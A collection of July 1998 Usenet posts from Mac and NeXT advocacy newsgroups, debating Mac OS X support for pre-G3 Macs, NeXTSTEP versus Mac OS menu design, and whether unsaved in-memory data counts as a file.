Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 28 Jul 1998 14:48:07 -0700
Organization: Sierra On-Line, Inc.
Message-ID: <6plhgk$6h1$1@plo.sierra.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6otmti$g4$1@nnrp1.dejanews.com> <MPG.101c7d4f5307a6f09899c6@news.supernews.com> <6p07rq$gn5$1@nnrp1.dejanews.com> <6p0aht$mrk$1@nntp6.u.washington.edu> <35BE09D8.CE1B3A15@earthlink.net>
NNTP-Posting-Date: 28 Jul 1998 21:57:40 GMT
Jon G. Temple wrote in message <35BE09D8.CE1B3A15@earthlink.net>...
>
>Frankly, having followed the MkLinux and LinuxPPC projects, if it took
Apple over
>2 months to support the already supported pre-G3 models with Mac OS X, it'd
be
>rank incompetence.
That's already been proven. They had to buy Next, since their engineers
couldn't pull off a modern OS even after spending an awful lot of money
trying.
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Ever
Date: Tue, 28 Jul 1998 22:14:48 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6pligo$4h3$1@nnrp1.dejanews.com>
References: <6pj8p5$4c7$1@nnrp1.dejanews.com> <5Edv1.8245$7k7.11060908@news.rdc1.sdca.home.com> <6ple3c$ub3$1@nnrp1.dejanews.com>
quinlan@my-dejanews.com wrote:
> I don't like the OS solution because I tend to run a lot of applications and
> that makes for a lot of icons. Having a lot of icons makes it harder to pick
> the one I want and also takes up screen space.
Try one of the dock extenders, like Fiend.app. They capture all the app tiles
and hide them, so they only show up when you bring up the extended dock.
Miniaturized window tiles remain on-screen except when the app is hidden, in
which case they hide too.
Stefano Pagiola spagiola@my-dejanews.com My opinions alone Longtime MacOS and
NeXTSTEP user, reluctant Windows 95/NT user, future Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 28 Jul 1998 22:29:53 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6pljd2$63g$1@nnrp1.dejanews.com>
References: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <Pine.SOL.3.96.980727101621.21442A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2707981730140001@news> <Pine.SOL.3.96.980728102816.17041E-100000@ux8.cso.uiuc.edu> <35BDF6BC.B3238E95@ericsson.com> <Pine.SOL.3.96.980728142652.21913A-100000@ux8.cso.uiuc.edu> <35BE2E3B.CE9EB08A@ericsson.com>
In article <35BE2E3B.CE9EB08A@ericsson.com>,
Michael Peck <Michael.Peck@ericsson.com> wrote:
> The NeXTstep habit of treating menus and menubars as buttons and button
> bars is a systematic inconsistency. Menus do not always pull down,
> sometimes they invoke an action on a button-click. This is not a case of
> one menu that acts like this, it is a systematic pattern of
> inconsistency. The MacOS assumes that menus are menus. NeXTstep does
> not.
> In my opinion, "menu" should be reserved for the MacOS-inspired system,
> the one every other UI besides NeXTstep uses. NeXTstep does not use a
> "menu" system, it uses a command-hierarchy system. Its similarity to the
> MacOS's own is entirely superficial; functionally and conceptually
> speaking there are enormous differences between the MacOS and NeXTstep
> "menus".
I'm sorry, but whatever nice theoretical distinction you might perceive here,
I fail completely to see how, in EVERYDAY USE BY USERS (as opposed to in the
theoretical ruminations of UI designers), NeXT's menu system differs so
fundamentally from the Mac's, or Windows'. I want to get at buttons that
invoke actions that get whatever I want done done. Each of these menu systems
lets me do that. There are slight differences, but these differences really
boil down to where things are -- learn it once, and then you'll find them
again next time.
In all three, I've had problems finding what I needed when that wasn't a
frequently-used command. Windows is probably the worst in this respect, but
the supposed Mac consistency you like so much has not made it immune to this
problem as I, the user, have used the Mac menu system. Nor has NeXT's, for
that matter.
NeXT's menus do clearly show when clicking on something will bring up a
submenu, open a panel, or directly invoke an action. That is a greater
advantage, in my mind, than slavish adherence to some grand notion of
consistency. I don't need to know that some UI designer has decided that
top-level items MUST bring up menus: one look and I know what a given item
will do, wherever that item might be.
Note that I'm NOT conceding the point that NeXT's menus ARE inconsistent; I'm
sure for some definition of how a menu system should work they are, and for
some others they're not. What I'm saying is that I very much doubt whether
these theoretical disquisitions matter all that much, in everyday use.
Stefano Pagiola spagiola@my-dejanews.com My opinions alone Longtime MacOS and
NeXTSTEP user, reluctant Windows 95/NT user, future Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: cb@bartlet.df.lth.se (Christian Brunschen)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 29 Jul 1998 00:41:09 +0200
Organization: The Computer Society at Lund
Message-ID: <6plk25$jp6$1@bartlet.df.lth.se>
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <andyba-ya02408000R2707981255140001@news> <6pk8l2$fd2$1@bartlet.df.lth.se> <andyba-ya02408000R2807981200340001@news>
NNTP-Posting-User: cb
In article <andyba-ya02408000R2807981200340001@news>,
Andy Bates <andyba@corp.webtv.net> wrote:
>In article <6pk8l2$fd2$1@bartlet.df.lth.se>, cb@bartlet.df.lth.se
>(Christian Brunschen) wrote:
>
>> In article <andyba-ya02408000R2707981255140001@news>,
>> Andy Bates <andyba@corp.webtv.net> wrote:
>> >
>> >Who says that a file has to be saved to disk (on a filesystem) before it
>> >becomes a file?
>>
>> The whole concept of a 'file' comes from collecting a bunch of data and
>> storing it in a well-defined place - you know, _filing_ it.
>
>No, you misunderstand the origin of the "file" concept. It is not called a
>file because of the action of filing it onto the disk; it is called a file
>because it IS a collection of data. From Merriam-Webster's dictionary:
>"file (n): a complete collection of data (as text or a program) treated by
>a computer as a unit especially for purposes of input and output." Nowhere
>in that definition is the stipulation that the collection of data treated
>as a unit has to be located on a disk.
>
>Look, we're getting off of the topic here. Even if you think of the file on
>disk as the "file," and the information in memory as just a collection of
>information, it is still conceptually the same file. Therefore, any
>operations on this collection of information should go under the "File"
>menu, since the same operations can be performed on the data whether or not
>it has been saved to disk.
If I write a letter that is never intended to go anywhere but be sent to a
printer, it need never be a file at all.
The data in memory might be stored as something that has no remote
resemblance to a file: it might be a linked list, a tree, whatever; need
not be a file.
>
>> Until you do
>> this, in some sort of filing system, I wouldn't say you have a file.
>
>The data IS collected and stored in a well-defined place. In some cases,
>that place is an area of memory. It is possible to create a file, edit it,
>and print it, without it ever being saved to disk. However, it is still a
>file!
No it's not - I write a letter, which I may or may not store in a file.
The letter itself is _not_ a file, the file is a _container_ for the
letter where I may choose to place it. The fact that I can store the
letter in a file does not make the letter a file, nor does it make every
possible place that I could store the letter a file.
>
>Or for that matter, what would you call the items that you save to a RAM
>disk? They aren't stored on a disk filesystem; does that mean that they
>aren't files?
I gave an example in my post, where I explicitly said that a ramdisk is a
good place for files - after all, a ramdisk has a _file system_, doesn't
it ?
>
>> > I can create a word-processing file, edit it, print it, and
>> >choose not to save it to disk. That doesn't change the fact that the
>> >collection of data I worked on and printed was a file.
>>
>> Um, no, it never was a file. It was a bunch of text - which you _could_
>> have filed somewhere yes - but you never did that, so it didn't ever
>> actually become a file.
>
>Yes, it was a file. Saying that "it was a bunch of text" doesn't change
>that fact. You called it "a bunch of text." "A bunch." A "bunch" is another
>word for a collection, and text is just data. Therefore, "a bunch of text"
>is just a collection of data, which is, surprise!, a file. You can get out
>a thesaurus and call it "an amalgalm of glyphs," but it's still a file.
Just because a file is a collection of data, does not make every
collection of data a file. It's a one-way relationship - an implication,
not an equivalence.
If I place a bunch of data together, I have just that - a bunch of data.
If I put that data in a file, I have a file... which contains a bunch of
data.
>
>> >It just wasn't a file that was ever saved to disk.
>> >
>> >And with the packet-sniffer example, the data you collect IS in a file; the
>> >file is maintained in memory. Whether or not that data has been written to
>> >the filesystem is irrelevant.
>>
>> Ah, we disagree. I say that there is a specific action that turns a bunch
>> of data (such as packets collected from the network) into a file; you
>> appear to say that since you _could_ turn it into a file, it _is_ a file.
>
>No, saving it doesn't "turn it into" a file; it is ALREADY a file.
No - by saving a bunch of data in a specific way, you define it to be in a
file. This is what distinguishes any collection of data, from a file.
>Saving
>it just changes its location from memory to the hard disk. Or are you
>arguing that the same collection of data is a file when it's located on the
>hard disk, but it's just "a bunch of text" when it's loaded into memory?
>People don't say, "Oh, I'm just editing the collection of text that was
>derived from the report, and when I'm done I'll make sure and derive a new
>report from my modified data." They say, "I'm editing the report, and when
>I'm done I'll save it." When the computer crashes, they say, "I lost my
>report," not "I lost the collection of data that I was going to turn into a
>report by saving it to a filesystem."
Exactly - they speak about 'documents', 'reports', etc - they talk about
the contents of the files, because that is what is important to them. They
take a file's contents out of the file (and into memory) to edit it, then
store it back to a file when they are done. The file is a container for
data - the data is the data.
>
>> Well, by similar logic, if I were to buy an DYI airplane kit, I should
>> just be able to sit down in it and fly away, since, after all, I could
>> just put it together - so it already _is_ an airplane :)
>
>By your logic, an airplane is only an airplane while it's in the air. If it
>lands, it's a car. If it lands in the ocean, it's a submarine.
You misunderstand - the airplane is an airplane when it is put together as
a functional airplane.
>> I also disagree with the statement 'the data you collect IS in a file;
>> thefile is maintained in memory'. I collect a bunch of data - that's it.
>> If I were to store it in a file, then it would be in a file, but since I
>> don't, it doesn't.
>
>The program that operates on that data has to have some way of
>distinguishing that data from the rest of the data floating around memory.
>That organization of data that it maintains is called a file.
Not really - that organization may be called a list, an array, a tree, a
hash table .... you actually only very rarely use the same representation
in memory as you might use in a file. Furthermore, it does not claim that
the contents of memory is a file - but rather that you store a
representation of the data in memory, in a file. Note: "a representation"
- still a different thing; the data in the file and the data in memory are
most often distinctly _different_. Saving data to a file usually does
things with the data, preparing it for storage in a file; the organization
of data in memory and in a file differ greatly.
>
>> While your viewpoint has _some_ merit, I would say that it is far too
>> broad. After all, _any_ collection of data could be saved to disk, to make
>> it a file - but that does not make every possible collection of data a
>> file. Do you see what I am trying to say ?
>
>A file in memory has some sort of delimitation which marks where it begins,
>where it ends, and which order it goes in. A random collection of data does
>not have these distinguishing characteristics, and is therefore not a file.
>However, and collection of data that a program will be working with in
>memory DOES have these delimiters, and is therefore a file.
Most collections of data in memory have multiple markers of beginning,
ending, and whatnot - and they usually differ greatly from similar
markings used for files. A file has _one_ beginning and _one_ ending. When
you load the file into your word processor, the word processor interprets
the contents of the file and builds a _structure_ of data in memory - a
structure that is usually totally different than what is in the file. When
you then save the text to another file (or the same one), the contents of
memory are written to the file. Still, the contents of memory while you
are editing the text are _not_ a file.
>
>> If I write a letter, in a word processor, and never save it - only keep it
>> in the computer's main memory, then print it, then close the window - I
>> certainly would not consider that letter to ever have been a file on my
>> computer. I _could have_ saved it and thus stored the letter (which I was
>> writing) in a file (an entity in the file system), but I never did.
>
>When you write a letter that is stored in memory, what happens when you
>print it out? Does it print out the complete contents of the computer's
>entire memory? No, it just prints out the collection of data that you
>entered in. The computer knows where that collection starts, where it
>stops, what it contains, and what order it goes in. It is a file. A file
>system is a structure for storing files (specific delimited collections of
>data) onto a storage medium. That doesn't mean that a file can not exist
>outside of the file system. By that logic, an orange peel isn't garbage
>until you put it in a garbage can.
But that is indeed true - an orange peel may be a lot of things besides
garbage. It could be the centre piece of the stilleben scene I am making a
painting of. It could be that I want to shred & boil the orange peel to
make jam out of it.
An orange peel isn't garbage until I decide that it is garbage, and treat
it like garbage. Likewise, data isn't a file until I begin to treat it
like a file. And data in memory in use by an application is rarely treated
as a file, and thus is not a file.
>
>> The fact that the word processor allows easy access to storing text in
>> files and restoring text from files, does not make every text a file.
>
>"Every text"? I see you're using incorrect grammar to avoid saying, "every
>collection of text," or in other words, a file.
Forgive me for not having English as my native language.
>No, not every combination
>of text in memory is a file. But then again, not every combination of data
>on a hard disk is a file either. Certain markings distinguish one file from
>another on a hard disk; similar markings distinguish one file from another
>in memory. Why is that so hard to comprehend?
Because it is a false claim.
Why is it so hard for you to comprehend that what is inside most
applications while they run is not a file, but data in another form?
Your extract from Webster's does not claim that every ordered collection
of data is a file, does it? That is the misinterpretation you make, I
think. Again, the fact that a file is an ordered collection of data does
not make every ordered collection of data a file - just like the fact that
every whale is a mammal does not make all mammals whales.
Another example: Fractint is a popular program that lets you draw fractal
images. You select a fractal formula to use, you select the parameters to
give, you select resolution and color map (how the results of the
calculation should be turned into an image), and then you let the program
work; it calculates an image and presents it to you on screen.
Now, in what way is this image a file ? It most certainly is not in any
file format you'll ever have come across; it is, in fact, stored in memory
in a fashion that is quite distinct from how images are stored in files.
Now Fractint offers an option to save an image to a file, and one to load
an image from a file. However, each of those operations transform between
a file (in the file system) and an image (in application memory). The two
- the image and the file - have a well-defined relationship, but are not
identical, they are not the same thing.
The data that the program works with _is not_ a file - but a file can be
generated from it.
Why is _this_ so difficult for _you_ to understand ?
>
>Andy Bates.
// Christian Brunschen
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Tue, 28 Jul 1998 18:05:02 -0500
Organization: Prairie Group
Message-ID: <MPG.1028151d58d08938989a33@news.supernews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <6ol3nq$14g$1@vixen.cso.uiuc.edu> <Josh.McKee-1807981007290001@pm3a21.rmac.net> <bux-2007981300570001@dial-tulip-20.bway.net> <Josh.McKee-2107981853200001@pm3a15.rmac.net> <joe.ragosta-2207980951060001@wil116.dol.net> <Josh.McKee-2307981818520001@pm3a8.rmac.net> <joe.ragosta-2307982202340001@elk97.dol.net> <Josh.McKee-2307982128320001@pm3a20.rmac.net> <MPG.1022d0677df988199899ed@news.supernews.com> <Josh.McKee-2507980952240001@pm3a23.rmac.net> <35BA7DCD.57868185@unet.univie.ac.at> <Josh.McKee-2607980955300001@pm3a6.rmac.net> <MPG.10256a06d14b17fd989a1c@news.supernews.com> <Josh.McKee-2707982149320001@pm3a20.rmac.net>
In article <Josh.McKee-2707982149320001@pm3a20.rmac.net>,
Josh.McKee@cbns.com says...
> No one is accusing Apple of not having known Rhapsody was going to be a
> flop. What they are upset about is that the successor to Rhapsody, Mac OS
> X, will not run on hardware which Rhapsody could run on. The main reason
> for being upset is there really is no technical reason why Mac OS X could
> not be ported to these very systems. If Apple had the resources to
> develope Rhapsody for these systems, and Apple is basically killing
> Rhapsody, then move those developers/testers over to OS X for pre-G3 PCI
> Macs.
The successor to Copland, Rhapsody, will not run on all hardware Copland
was supposed to run on. The successor to Apple ][ DOS (DOS /// for the
Apple ///) wouldn't run on the hardware Apple ][ DOS ran on.
Apple developed Rhapsody for these systems, in part with resources that
are no longer there.
Given unlimited resources, yes, there is no technical reason Mac OS X
could not be ported. The resources are not unlimited.
Donald
From: "Jon G. Temple" <jontemple@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 28 Jul 1998 19:10:57 -0400
Organization: jontemple@earthlink.net
Message-ID: <35BE5A7D.D22A1078@earthlink.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6otmti$g4$1@nnrp1.dejanews.com> <MPG.101c7d4f5307a6f09899c6@news.supernews.com> <6p07rq$gn5$1@nnrp1.dejanews.com> <6p0aht$mrk$1@nntp6.u.washington.edu> <35BE09D8.CE1B3A15@earthlink.net> <joe.ragosta-2807981448520001@wil73.dol.net>
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Joe Ragosta wrote:
> In article <35BE09D8.CE1B3A15@earthlink.net>, jontemple@earthlink.net wrote:
>
> > R. Tang wrote:
> >
> > > In article <6p07rq$gn5$1@nnrp1.dejanews.com>,
> <quinlan@intergate.bc.ca> wrote:
> > > >Then they shouldn't have said that they would do it. Their incompetance is
> > > >hardly my problem. And I don't believe that Apple can't port Mac OS X
> to all
> > > >the PowerMacs.
> > >
> > > Neither does Apple.
> > >
> > > The part people keep forgetting to mention is under what time
> > > frame using what kind of resources.
> > >
> > > Give 'em five years and another few hundred people, and there's
> > > probably no question they could do all PCI Macs.
> > >
> > > But in two years?
> > >
> >
> > Frankly, having followed the MkLinux and LinuxPPC projects, if it took
> Apple over
> > 2 months to support the already supported pre-G3 models with Mac OS X, it'd be
> > rank incompetence.
> Let's see. Mac OS X adds a new imaging model, a new kernel, new driver
> model, and a complete new set of APIs. You think the new OS can be written
> and tested in 2 months? You're dreaming.
Joe makes a funny.
Let's take a look:
* a new imaging model -- a rehash of QuickDraw with some GX code thrown in. Also
support has to be added for the original Display Postscript model that underlies
OpenStep imaging --- instead, QuickDraw services will be used. None of this is a
big deal --- much of the work was done when the QTML was ported to Rhapsody,
creating some clean nonrentrant APIs and cleaning up some old APIs. In any case,
nothing about Enhanced QuickDraw would require G3 specific anything --- MacOS X has
a hardware abstraction model that'd handle these things, of which Mach 3.0 is a
very important part.
*a new kernel -- Mach 3.0 is pretty old. Aren't they up to 4.0 now? Moreover, it
has already been ported to the Mac and runs on nearly all PowerPC hardware, without
funding or hardware specs, and will even run on some NuBus models
(http://www.mklinux.apple.com/PR/LJ.9705.html).
In particular, MkLinux supports:
NuBus Based Machines
6100, 7100, 8100, 9100
First Generation PCI
7200, 7500, 7600, 8500, 9500
Second Generation PCI
7300, 8600, 9600
Performa and Powermac PCI
4400, 5400, 5500, 6400, 6500, 20th Aniversary Mac
G3 Powermacs
Desktop, Minitower
Powerbooks
5300, 2400, 3400, G3
How is it that a part-time unpaid project with no Mac hardware specs can do what
Apple can't with full time engineers with complete specs? Mach 3.0 is that good.
Moreover, Mach 3.0 is VERY portable --- its chief asset in fact. Many Mach-based
UNICES prefer to use old kernels that are less portable because they are FASTER,
yet Apple has elected to go with the more portable microkernel architecture and yet
NOT capitalize on its primary advantage over older Mach kernels. Very strange and
totally improbable that Apple is unaware of how excellent Mach 3 is for
portability.
Even with the less portable Mach 2.5 kernel, Apple was able to get Rhapsody ported
from Intel to PPC in about 6 months -- a totally new port!! G3 drivers took only
about another 2-3 months. So yes, give them a more portable microkernel like Mach
3, 2 months of additional time for supporting pre-G3s makes plenty of sense given
that they won't be starting from scratch, which they won't be. A existing Mach 2.5
and Mach 3.0 kernel already exists for Pre-G3s.
* new driver model --- you throw that around a lot, don't you? Do you have
evidence that the drivers will be vastly different than what Rhapsody currently
uses? Kind of seems doubtful given Apple's timeframe of beta-testing Mac OS X in
January. Pre-G3 drivers already exist for MacOS X Server/Rhapsody. Also, I
wouldn't be surprised if the Mach 3.0 microkernal simplifies driver support, if
anything.
* new APIs --- Carbon -- oh, that old thing? Most of the APIs already exist ---
some 6000 of the 8000 MacToolBox APIs will not need changed. Of the 2000 that are
being removed, it is extremely doubtful if anything like 2000 new APIs will be
added. Old junk like PowerTalk, Midi Manager, and GX APIs are part of the 2000
being dumped; they will not be replaced with new APIs.
Also, Carbon will run on the Mach 3.0 microkernal. You don't need to write the APIs
for specific hardware as you laughingly imply. You write them to run on Mach, and
then let Mach 3 take care of hardware-related crap. That is the beauty, the
strength, the miracle of Mach 3.0.
Finally, Apple is going to implement the missing Carbon APIs on older hardware
anyway, as libraries for Mac OS 9.x and 8.x. Why not run them on Mach 3.0?
> Let's look at a comparison. Win98 took 3 years after Win95 and what does
> it add? Very, very little compared to the changes incorporated in Mac OS
> X.
Win95/98 is basically just a reference release with some unnecessary crud that has
accrued to it. It builds off of the nightmare world of DOS and 16-bit code, things
that simply do not exist in the world of Mach 3.0 and MacOS X. With a powerful
microkernal architecture, multi-platform support is much easier; within the *same
platform* (G3 and pre-G3) it is downright ridiculously easy! This is why the
MkLinux team has been so successful supporting a widerange of machines with Mach
3.0, with no budget and no hardware specs. Last I checked, Win98 lacked these
elegant underpinnings that will make Apple's job with OS X so much easier. Bad
analogy, Joe, and pretty irrelevant, too; we're talking the Mac here --- who
invited Microsoft? Last I checked, they didn't write a OS for the Mac.
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 28 Jul 1998 15:22:43 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R2807981522430001@news>
References: <andyba-ya02408000R2107981835050001@news> <Pine.SOL.3.96.980722104316.22438D-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2307981115550001@news> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <1dco1vu.1tcsxcs13uk71oN@hoorn23.multiweb.net> <Pine.SOL.3.96.980724134947.26891A-100000@ux8.cso.uiuc.edu> <1dcrv9l.wtv1wr1idgbl2N@hoorn02.multiweb.net> <Pine.SOL.3.96.980727112448.21442C-100000@ux7.cso.uiuc.edu> <1dcuo10.1rj9fxyx5rw94N@hoorn07.multiweb.net> <Pine.SOL.3.96.980728101529.17041D-100000@ux8.cso.uiuc.edu>
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In article <Pine.SOL.3.96.980728101529.17041D-100000@ux8.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
> Also, it doesn't have to do this _all_ the time _every_ time. Once a file
> is typed, it shouldn't need to be typed again unless it gets replaced.
> Also, certain files should be exempt. Preferences files don't always have
> any recognizable format and probably shouldn't be typed this way.
Well then, where are you going to store the file type that gets calculated?
It looks like the type/creator fields that you complained about are
necessary after all, even with your proposed new system.
Andy Bates.
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 28 Jul 1998 15:31:28 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R2807981531280001@news>
References: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980727102938.21442B-100000@ux7.cso.uiuc.edu> <6picpl$6pd@newsb.netnews.att.com> <Pine.SOL.3.96.980727170446.19424C-100000@ux7.cso.uiuc.edu> <6pjer0$941@newsb.netnews.att.com> <Pine.SOL.3.96.980728103229.17041F-100000@ux8.cso.uiuc.edu>
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In article <Pine.SOL.3.96.980728103229.17041F-100000@ux8.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
> The Mac could have an equivalent to the taskbar (hopefully much better).
> I've never really looked at GoMac or tried it out, but apparently that
> does something similar.
The Mac does have something better; in 8.5, the Application menu can be
torn off, so you have one button per application, instead of one per
window. That looks good to me.
Andy Bates.
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 28 Jul 1998 15:27:03 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R2807981527030001@news>
References: <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <Pine.SOL.3.96.980727101621.21442A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2707981730140001@news> <Pine.SOL.3.96.980728102816.17041E-100000@ux8.cso.uiuc.edu>
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In article <Pine.SOL.3.96.980728102816.17041E-100000@ux8.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
> On Mon, 27 Jul 1998, Andy Bates wrote:
>
> > In article <Pine.SOL.3.96.980727101621.21442A-100000@ux7.cso.uiuc.edu>,
> > Pulsar <tokarek@uiuc.edu> wrote:
> >
> > > At the top level of the Macintosh
> > > menu bar, there is no indication of which choices will bring down
> > > submenus. In the lower levels, there are indicators.
> >
> > That's because NONE of the choices at the top level of the menu bar bring
> > down submenus! They bring down menus! And since all of them bring down
> > menus, they do not need any sort of indicators.
>
> You are arguing in circles. I am saying that it might be a good idea to
> allow non-submenu invoking choices in the root level menu. If such a thing
> were done, there would have to be indicators. The lack of indicators in
> that case would be _bad_.
That's fine, but don't apply it to the current OS and say that the Mac OS
menu bar IS inconsistent, which is what you and others are saying. The Mac
OS menu bar is currently consistent. Whether or not it would be consistent
after your proposed changes seems to be a pointless discussion.
> > The Mac OS menu interface is only inconsistent if you assume that the top
> > level should have buttons that do not invoke menus. However, since this is
> > not the case, it is perfectly consistent.
>
> Oh, indeed? What is that clock doing there? Does it bring down a submenu?
>
> Hmmm... maybe you are wrong.
The clock isn't a button; it is a display. Therefore, my statement remains
true: the top level does not have any buttons that do not invoke menus.
Andy Bates.
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Tue, 28 Jul 1998 18:18:02 -0500
Organization: Prairie Group
Message-ID: <MPG.1028181a20564392989a35@news.supernews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <6ol3nq$14g$1@vixen.cso.uiuc.edu> <Josh.McKee-1807981007290001@pm3a21.rmac.net> <bux-2007981300570001@dial-tulip-20.bway.net> <Josh.McKee-2107981853200001@pm3a15.rmac.net> <joe.ragosta-2207980951060001@wil116.dol.net> <Josh.McKee-2307981818520001@pm3a8.rmac.net> <joe.ragosta-2307982202340001@elk97.dol.net> <Josh.McKee-2307982128320001@pm3a20.rmac.net> <MPG.1022d0677df988199899ed@news.supernews.com> <Josh.McKee-2507980952240001@pm3a23.rmac.net> <MPG.102459a86c0084e0989a04@news.supernews.com> <Josh.McKee-2607980952420001@pm3a6.rmac.net> <MPG.10256a18e0cf88e989a1d@news.supernews.com> <Josh.McKee-2707982145330001@pm3a20.rmac.net>
In article <Josh.McKee-2707982145330001@pm3a20.rmac.net>,
Josh.McKee@cbns.com says...
> > But, yes, it comes down to my word. I've given you my word. That's all
> > I can give you. Accept it or don't.
>
> Not so much your word that is in question Don. It's just hard to swallow
> a "all I can give is my word" reason. There is a lot that can be
> incorrect with the information you've been told.
>
> Likewise, if it is a matter of lack of personel, hire more people. I
> recall someone else saying this, and a response (not from you, I think)
> was written back stating that you can only throw so much man power at a
> project. I agree with this to a degree...but if all you need are more
> testers, this shouldn't fall into that category.
>
I really wish I had better info to provide. If I had it, I'd provide it.
So, I'm providing the best I've got. I give my word that I'm faithfully
reporting what I have heard, and I give my word that I trust the sources
I've heard it from. I could be wrong about the latter, but they've
always born out for me in the past.
And as for "hire more people", not only are there the questions about
managing the new hirees, but there is a new imperitive at Apple, Thou
Shalt Not Lose Money. Hiring people is expensive. It's likely to not
pay off in the next quarter. A great deal of Apple's reviving reputation
from the money people is, they're making profits again. If they start
losing money, even if they've got a really good excuse, that goodwill
will collapse and the "Apple is dead" mantra will rise again.
Does that suck? Absolutely. One of the biggest flaws in the way we fund
public corporations is that there's too much attention in quarter-to-
quarter results. A quarterly loss is bad for a company that's been
pulling profits year after year. For a company that was losing money for
so long and only recently fought its way back to profitability, going
back to losing money would be the cost of death.
In a perfect world, Apple would be able to spend the money to do
everything desired with OS X. In a perfect world, they could adopt an
attitude of "no compromises, it will ship when it ships and it will be
everything it should be." This isn't a perfect world. Many of the
imperfections were of Apple's own making, but that's water under the
bridge. Apple, like all companies, have to work in the world they are
in. And sometimes, that comes up with limitations that suck.
Donald
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6ph9u7$fp5$1@nnrp1.dejanews.com> <joe.ragosta-2707981035100001@wil51.dol.net> <35BC9473.A18302A8@nstar.net> <joe.ragosta-2707981114320001@wil47.dol.net>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <35bd8fbd.0@nnrp1.news.uk.psi.net>
Date: 28 Jul 98 08:45:49 GMT
joe.ragosta@dol.net (Joe Ragosta) wrote:
>In article <35BC9473.A18302A8@nstar.net>, Michael Peck <mjpeck@nstar.net> wrote:
>
>> Joe Ragosta wrote:
>>
>> > True. But not much of an issue.
>> >
>> > My normal morning routine is to start my Mac, launch PPP, then open Eudora
>> > and MSIE. To do so, I open PPP, then click on "connect". I then launch
>> > Eudora. As soon as it launches, I launch MSIE. By that time, the PPP
>> > connection is completed. Total elapsed time? Perhaps 15 seconds.
>> >
>> > Not much of an issue.
